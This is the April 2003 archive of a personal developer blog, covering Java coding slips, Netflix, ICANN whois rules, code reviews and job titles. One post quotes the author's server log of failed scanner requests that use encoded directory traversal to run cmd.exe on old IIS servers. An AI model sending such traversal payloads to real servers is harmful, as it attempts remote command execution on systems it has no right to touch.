" /> kasia in a nutshell: April 2003 Archives

« March 2003 | Main | May 2003 »

April 30, 2003

Why chaining calls is bad

(or learn from my screw-ups)
Refactoring code is somewhat of a hobby, I suppose, since I do it as much as I possibly can (or have time for).. so seeing something like this..


String result = (someString.trim() + anotherString.trim()).toLowerCase();

Boils my blood and of course I have to rewrite it..


String result = "";
if(someString != null)
   result += someString.trim();
if(anotherString != null)
   result += anotherString.trim().toLowerCase();

.. and of course I completly missed the part where the entire string was set to lower case.. not just the second portion.

Stupid me (this caused real problems too).. but I say at least 20% of the blame is on the hard-to-read chained code.. (20% more on me being in a hurry and rest on me for not paying attention, but who's counting..)

formmail

Tired of those spammers looking for formmail vulnerability?

My count for April is 138 unique hits.. this is one solution..

This formmail.php script will send a complaint report to a visitors ISP and/or just to you when a visitor triggers it in the following ways...[more]

[Link via Jeremy]

April 28, 2003

What is wrong with Netflix?

Has the service simply gotten too popular?
I love netflix, really, I do. DVDs delivered to my door, no late fees and the movie selection is really very good.. but lately it's been one problem after another.

One of my movies was lost while returning and one never arrived here.. that hasn't really been a problem (yet) since they just marked one returned and sent me a replacement for the other.. except I can't help but wonder if they will decide to suspend my account if this happens again? Perhaps sending DVDs out in big, bright red envelopes that can be spotted a mile away isn't such a great idea after all?

Another problem.. out of the 25 movies in my current queue two are of the "very long wait" status and have been for the last 4 months.. (yes, that's a very long wait indeed). Three are "long wait" and one of those has also been in my queue for more than four months.. Four are "short wait" but (speaking from experience) it will probably turn to "long wait" or "very long wait" soon enough..

Maybe it's time to buy more copies? Perhaps put a limit on how long one can keep a movie if others are waiting.. (one month is more than enough, really). The idea of "no limit on how long you can have it" is wonderful, but frankly if someone needs a movie for more than a couple of months they ought to just buy it.

I have a feeling if netflix doesn't make some changes soon they will start losing customers and I would hate that since it really is a great service.

Hm.. scary mail

With a subject like that and a sender with that name it could frighten anyone..

From: Jerry Garcia
To: me
Subject: See ya soon!

(Of course it was spam)

Happy compromises

Long time ago in a blog far away (okay, not really, but on a different server) I whined about a co-worker's bracing style. Today, much to my delight we've come to a compromise!

He will stop using the horrid, evil, disturbing and annoying indentation and I will stop putting the opening brace at the end of the line. In other words, we'll both use the bsd style. My (rather questionable) sanity has been saved for a little longer.

Sorry k&r.

April 26, 2003

Thanks Icann, I need more physical spam

Beginning in May a new rule will be enforced regarding domain records, vnunet:

Under the new rules, domains with incomplete or incorrect records will be suspended for 15 days and then deleted if the records are still not amended.

What is the reasoning for this?

"It's similar to the number plate on a car. The DVLA has to have contact details for each driver so that if you're involved in an accident they can contact you," said Brown.

"In the same way, if a domain is involved in spamming or cyber-squatting, the owners need to be contactable."

Except, of course, the DMV database isn't easily searcheable by anyone with whois access (no, you need to pay some slimy company a fee to get that info).

Icann's efforts could be affected by the reluctance of owners to place their details on a public database, which could be 'harvested' and used by spammers and bulk mailers.

You think? I get an average of 30 pieces of spam a day to the email address associated with my domain record.. that's the only thing I use that email address for.. (apparently that only thing is spam, nobody has ever attempted to contact me about any of my domains).

How about the reluctance of owners to place their details on a public database because they fear for their privacy and don't want any random nutcase (like, say one that's been emailing them for 3 years with scary content that would indicate the person desperately needs psychiatric help) having easy access to their physical address!

Why is it that privacy is always the last thing on everyone's mind with these things.. it's not just businesses that own domains.

So reason is cybersquatting and spamming? Why not only apply it to those domains?

April 25, 2003

What happens when you don't upgrade software

I was writing some test classes at work today using JUnit.. nothing out of the ordinary.. just your typical..


result = doSomething();
assert(expected == result);

I'm sure someone's already spotted my problem.. but wait :)

Code compiled.. that's nice.. then a co-worker cannot compile it in her work area. Hm. Problem. Apparently assert(boolean) is not a valid JUnit method call.. What? Checked my libraries.. sure enough mine's horribly out of date, hers is newer.

Now I'm mad. You don't just remove a call.. you deprecate it! My compiler didn't give me a deprecation warning.. (as you can imagine I was already salivating at the prospect of having a good rant at JUnit's expense). Checked their website.. read documentation (yah, I do that sometimes, but only when absolutely necessary) and found out that since assert has been assimilated by Sun as a Java keyword, the method call was deprecated and since removed.. A long-ass time ago.

My jar file was *really* out of date. (This is where I slap my forehead and you laugh at my expense).

April 24, 2003

Ping me, baby

I've changed my individual archive template to simplify the layout a bit and in the process changed it to directly display trackback pings (as opposed to a pop-up).. Of course in the process I discovered that MT does not rebuild individual archive pages on trackback.. google to the rescue and I found this hack by Phil Ringnalda.

Now that that's in place, I need someone to ping me so I can test it!

(or I can ping myself I suppose, but what fun is that).

Edit: (after pinging myself, I'm impatient) It's good to remember when running MT under mod_perl that modules are cached.. duh..

Hartford Courant is clueless

Denis Horgan of the Hartford Courant was told to shut down his weblog:

Despite the fact that this page is operated on my own time and at my own expense, that it does not compete with the newspaper or draw upon any of its resources, the editor has ruled that its operation is a conflict of interest.

This type of intereference with an employee's private life ought to be outlawed, really. Expressing your opinions via a weblog is not a conflict of interest for a journalist, in fact it's a wonderful means of gaining audience and following.

Hartford Courtant claims to be the oldest newspaper (in the US) and they certainly seem to be acting that way...

April 23, 2003

Dang, and mine's a motorola

Cell phone, that is.

[via: wired]

Ghosts and books about them

I've been reading Neil Peart's Ghost Rider recently.. it's an interesting enough book if not the finest example of literary quality. The relatively poor writing is a little disapointing since his lyrics and previous book, The Masked Rider, are so much better.. This book is probably not the best choice for those who aren't Rush fans and already familiar with the author... quite the witty and smart man. (And just cynical enough for my liking!).

It's mostly a collection of journal entries and letters written while traveling through most of Northern America on a motorcycle as a way to heal wounds after the death of his wife and child (something I'd like to do on a bicycle some day... well, minus the tragedy part). Reading about his ghosts from the past I suddenly had an urge to do a google search for images of his family. I didn't do it, it just seemed goulish, creepy and too much like people staring at a car wreck -- I truly hate that. People who are in pain don't want spectators.. I know this (well) but the urge is still there..

Now I can't shake the feeling that some cosmic karma force is going to get me for even entertaining the idea of turning a man's tragedy into a spectator sport for myself. I should go burn some incense or something..

April 22, 2003

There is a programmer hell

.. and I have found it!

You know that part of the project when you're busy doing bug fixes? Tedious.. little, annoying bug fixes? Fixes that only take about half hour to an hour each but because of the qa/testing process really take 2 hours each as you tear your hair out between server restarts and QA deployments? That part..

Now imagine it stretched into two weeks of tedious, annoying bug fixes that require all kinds of hacking around and tweaking to even reproduce (but they're still bugs, need to be fixed!)....

That my friends is programmer's hell. And I'm the newest resident, pray for me.

April 21, 2003

Identity, please!

One thing that bothers me the most about weblogs recently is just how many of them have absolutely no information about the blog's owner.. For anyone who is not a regular reader that becomes a pain.. I don't mean vital statistics, but a line or two about the author would be damn handy if linked from the vast menu every blog seems to have on the right, or left.. or both sides.

It's probably not something that bloggers think about, since they (obviously) know who they are.. so it may not occur to them that a reader who just stumbled accross the weblog is left wondering about 'who the heck is this person? Is it male? Female? Human? Alien? Microsoft employee?"

Now one may argue that identity of the author should have nothing to do with the content of the weblog.. but I beg to differ.. right or wrong, I will react differently to an article commenting on the glass ceiling in the computer industry when written by a female rather than male (first hand experience counts, you know).

So come on.. it's not hard.. one page, two lines.. little info, please?

April 20, 2003

Script kiddies.. so inefficient

Wouldn't it be quicker and easier to query the server first? It's not windows.. such a waste of bandwidth.. (probably not their own anyway, but still).


24.91.103.152 "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 284
24.91.103.152 "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 282
24.91.103.152 "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 292
24.91.103.152 "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 292
24.91.103.152 "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 306
24.91.103.152 "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 323
24.91.103.152 "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 323
24.91.103.152 "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 339
24.91.103.152 "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 305
24.91.103.152 "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 305
24.91.103.152 "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 305
24.91.103.152 "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 305
24.91.103.152 "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 289
24.91.103.152 "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 289
24.91.103.152 "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 306
24.91.103.152 "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 306

Iranian blogger arrested

Hossein Derakhshan:

Sina Motallebi, well-known blogger and journalist was arrested this morning. He is accused of threatening the national security by giving interviews to Persian language radios outside Iran, wrtiting articles both in newspapers and his weblog.

The little things we sometimes take for granted..

April 19, 2003

Spring is here!

Now it finally does feel like spring.. 60s today and more days like this one on the horizon. For the first time this year the 4 mile loop in the park didn't feel cold in places (there are lakes.. and it gets windy.. ).

Everyone else makes new year's resolutions, I'm making a spring one.. need to start waking up earlier and running in the park before work.. I can't run at the gym anymore.. it's too booring.

And with first days of spring come the first annoyances at the park!

- People in groups who take up the entire trail whether they need it or not and runners have to run on the rocks and dead leaves on the side barely avoiding breaking legs in the process.
- Bikers who are too chicken to go on a *real* biking trail and instead zoom at way-too-high speeds on the walking/running trails.. dudes, there are *real* trails where you'll never see families with kids.. go speed there. (They're in the same park, really, I bike there all the time).
- Friends who see you running and get offended that you won't stop to chat.. want to chat, give me a call.. don't interrupt my exercise..

I'm sure I'll have a longer list after my run tomorrow..

April 18, 2003

JavaOne or "I work in a Dilbert cartoon"

For years now I've wanted to go to JavaOne but unfortunately I cannot afford to pay the $1700 conference fee on my own.. well, that plus travel expenses. It adds up.

So, naturally, I approached my boss with the idea..

"hey, can the company send me to Java one?" - It is work related, I program Java for a living.
He said he'd ask higher up.. which he did...

The result? Not exactly what I expected.. apparently people higher up thought it's a great idea! Wonderful, our engineers want to learn more Java.. that's great.. Let's send two of them! Yep, two *other* ones including my direct boss.. the one I asked if I could go..

Strike one -- time for plan B.

"I'll stay with friends, pay for my own plane tickets and mooch off of others for meals.. Can I go? Pleaaassseee.. ?"

Yah, we have budget for training for each employee.. but.. *nope*.. It will cost too much to send the other two.

Sigh, I can't win.

April 16, 2003

Classifying programmers

Many of us coders have a hard time deciding just what to use for a job title.. there are so many different terms that essentially describe the same job.. developer, engineer, programmer, coder, hacker.. In theory, anyway, they describe the same job. I'm sure many would argue against such simplification. but before you fire off an angry comment bear with me, please, I will explain.

What matters is how I introduce myself to people. It really varies vastly from situation to situation. Most of the time it's a simple "I write computer software".. which usually elicists a response of "aaah..." and a vaguely blank stare... When I introduce myself to one of my mom's friends I make sure to throw in a term "engineer" in there somewhere so my mom can stick her nose up in the air "see? My daughter is an *engineer*" even though she has very little clue about what I really do.. and frankly the idea of an engineer her friends probably have is about as close to my job as Moscow is to Bundtown, Tennessee.

"Why do you sit in front of the computer all they long like this? "
"uh.. mom.. " sigh.

The problem of what to call my job arrives when I talk to someone in my field. Another geek.. because everyone has their own pre-conceptions about what a programmer is and what (s)he isn't.

So after careful consideration of this problem.. well, okay, the reality is closer to "after having nothing better to think about during a boring meeting.." I've decided to define my terminology a little better. I write code for a living, but while I may have the same official job title as some other coders I know I don't really think I should be classified the same way some of them are because there are so many different types of programmers that one general term of "programmer" is just not descriptive enough to be useful.

So there is the term "programmer" -- easiest definition, of course, "one who programs". That is what I do, it's what we all (the general code-writing "we") do.. So this one's easy.. a programmer is someone who writes code.

Then there's "software engineer" -- "one who engineers software". Not every programmer is a software engineer.. in fact I would dare say that vast majority of programmers are not. We all know the type.. they write their code, they do a really good job, code is functional, it does what it should.. but that's where it ends. The finer points of design and esthetics escape them... they just don't think about writing software in those terms.. it's just a job to them. Those people who go the mile above and take time to think through design and would not be caught dead copy-pasting code without at least giving the thought to how it functions as part of the overall design are software engineers. They engineer, not just code.

Lastly, but not leastly.. there are "hackers" -- not in the definition made notorious by media (for whom geeks behind keyboards are not exciting enough.. they had to make them into dangerous masterminds) but in the original term of well.. hacking stuff together. I'm sure we all hack code every now and then.. In a hurry.. need to patch a bug in production version.. a hack is sometimes the only way.. but then there are programmers who never do anything *but* hack. Often solving some of the most complex problems and producing some of the most brilliant solutions that neither of the types listed above could ever come up with.. Unfortunately more often than not.. they're the only ones who can even understand the flow of the code.. so if such a coder gets hit by a steam train.. people left over to maintain their code are essentially screwed. I once attempted to work with such code.. it would have been easier to convert a catholic priest to judaism than to understand how this particular project worked. But it did work and well.

So going by above definitions.. I would have to say I'm a software engineer. Of course next time I introduce myself to someone and give them this entire spiel about how I define my job title they will be asleep by the time I reach the term "software". Maybe I should just say "I'm a professional geek". It's quicker.

April 15, 2003

Can you hear me now?

Good!

I wonder what Verizon will say when they see that?

Spotted by Justin in a local Brooklyn paper.

April 11, 2003

Such is life

.. of a geek..

It's Friday night.. so am I out on a fun date?
Yah right..

Seeing a movie?
Nope..

Bar hopping?
I wish..

So what am I doing? Trying to figure out a bug that's been bugging me for a few days.. this is where I should type "kill me now" but that's becoming such a cliche.. Sometimes I wonder if I picked the right profession.. of course anything else would probably be incredibly boring.

April 10, 2003

Patriot Act

Since the GOP wants the patriot act to be permanent it may be a good time to give this a read.. EFF Analysis Of The Provisions Of The USA PATRIOT Act.

[Thanks to Karl for the link]

April 09, 2003

The worst pick up line yet..

A new winner..

"Want to get together and compare google rankings?"

Prior winner was: "We should go grab a drink and discuss egrep!"

Sadly, I'm not making these up..

Code reviews or "how did I miss that?"

Load testing aside, it's nearly impossible to account for real live usage when writing test plans and some users have incredible talent for coming up with creative ways of using (or rather misusing) a program in a way it was never intended to function.

We just went through some of that with our new project at work and I think the common conclusion was that we really need to do regular code reviews. Three major issues we just fixed were of the "holy crap, who wrote that" and "why the hell is this doing that?" variety.. Something that would have been immediately spotted if someone bothered to look at the code (someone other than the author anyway). It's so easy to make dumbass mistakes when working under pressure and having a second set of eyeballs verifying your code can be more than just helpful.. it could save your sanity and embarrassment later.

One of the principles of extreme programming is to do something like this - pair programming. Having two people work on the same code at the same time. I've been subjected to that at work for about a week.. and it nearly ended in a homicide as I slowly learned to hate the guts of the poor co-worker stuck coding with me. I'm not really good at working in tandem with another programmer.. especially one that argues about my bracing style while sprinkling the code with tons of unnecessary empty lines and indentation that would make groucho marx go ballistic.. (and he wasn't even a coder.. )

So what's the solution? Code reviews.. weekly session, couple hours long (longer and we'll all fall asleep probably) reviewing randomly picked source from project du-jour..

I think this could really work -- we all get to spot our mistakes before they enter production and can lock ourselves up in blissful, headphone-induced isolation in the meantime. Perfect.

April 08, 2003

The tard blog

A blog about working with retarded kids.
That's a nice disclaimer..

In all seriousness, this site is not intended to mock the retarded, the mentally disabled, or the behaviorally challenged. The authors understand that these people have a difficult life, and sympathize with them. This site does nothing but catalog the funny happenings in a special ed classroom. If you think this mocks anyone, this is because you are bringing these prejudices to the site, they are not here to begin with.

"It's not as if we just seek out opportunities to make fun of retarded kids. I just report what I see them do. That is it. No cruel jokes, no embellishment, nothing. Well, maybe a few jokes, because it is funny, but nothing cruel. I love my tards."

I'm sure she is self congratulating herself on her wonderful sense of humour.. think about it this way.. would you still feel the same if any of those kids read the weblog? The "tard" blog.. there's a term they don't hear on daily basis from other cruel kids, right? Would the kids know this is supposed to be humorous?

"No, I didn't mean to be mean when I called you a retard.. the other kids calling you a retard are mean but I'm not". Doesn't work for me...

April 07, 2003

Blog self-indulgence

Seeing as I finally have time to breathe, read and live in general I've spent some moments today in blissful self-indulging activities like checking who's linking to me (Technorati) and found this. Neat! I inspired someone to start a blog of their own, that's just great.

My own weblog is getting on in age, nearly done with it's first year and entering the terrible twos (okay, so the first anniversary is technically in July but I like to celebrate things early). I suppose I may say that my own was inspired by many others.. really many, but I should give credit to Jeremy seeing as I not only stole his idea of using Movable Type but the first iteration of this weblog looked eerily like his.

The traffic has grown.. from an average of 112 visits a day in August to 2204 last month. Of course half of that is mis-directed google searches, one quarter AOL users jumping from one proxy server to another and the rest.. well, I can't explain the rest but I sure am gratified (pleased, flattered and happy) that you're here! Hi. Which brings me to my next question.. just how many of you would still be reading this if I was a flannel-wearing burly guy with a beard named Bob.

April 04, 2003

Note to self

Routing traffic to a machine that doesn't realize it's supposed to accept that traffic will not work.

*sigh*

April 03, 2003

Process date weirdness on linux

This is a little weird.. never seen this problem before on a linux box (or any other unix box for that matter) and I couldn't find anything on the almighty google.. (if you can't find it with google, does it exist?).

[root@ ~]# date
Thu Apr 3 21:54:41 EST 2003
[root@ ~]# ps -ef | grep ps
root 28932 28595 0 Mar20 ttypb 00:00:00 ps -ef
root 28933 28595 0 Mar20 ttypb 00:00:00 grep ps

Rebooting the box made it go away (eek, rebooting to fix a linux problem).. but it still bothers me that I can't find the cause for it..

April 02, 2003

Useless polls

I suppose a statement "useless online polls" is a tad redundant.. but there it is anyway. Someone pointed out a poll to me today on hotscripts.com.. it's right there on the right hand side, just scroll down a tad. See it? That one..

What is your scripting language/platform of choice?

Doesn't appear all that useless, right? Until you see the options..

ASP
C/C++
CFML
Flash
Java
JavaScript
Perl
PHP
Python
XML
Other

XML? Java? C/C++? In a poll about web page scripting? (I assume they mean web page scripting considering their content). Is it not bad enough that half the newbies to web design claim they know Java after writing a 10 line JavaScript.. now websites that claim to be some sort of authority on scripting create a poll with this combination of uh, scripting languages? Get a clue.

Welcome to the misinformation super-highway.

April 01, 2003

Eek, where did the time go

It seems I've been too busy to post lately.. work has been keeping me quite busy and on top of that I think I'm addicted to Zelda (Wind Waker). The project at work that I have been working on for the last few months went live yesterday.. so anyone who wants to buy Giants tickets (that's the baseball team from San Fran) try this.

I must also be insane as I let a friend talk me into a 4 mile race in a couple of weeks in central park in NYC.

Happy April Fools day.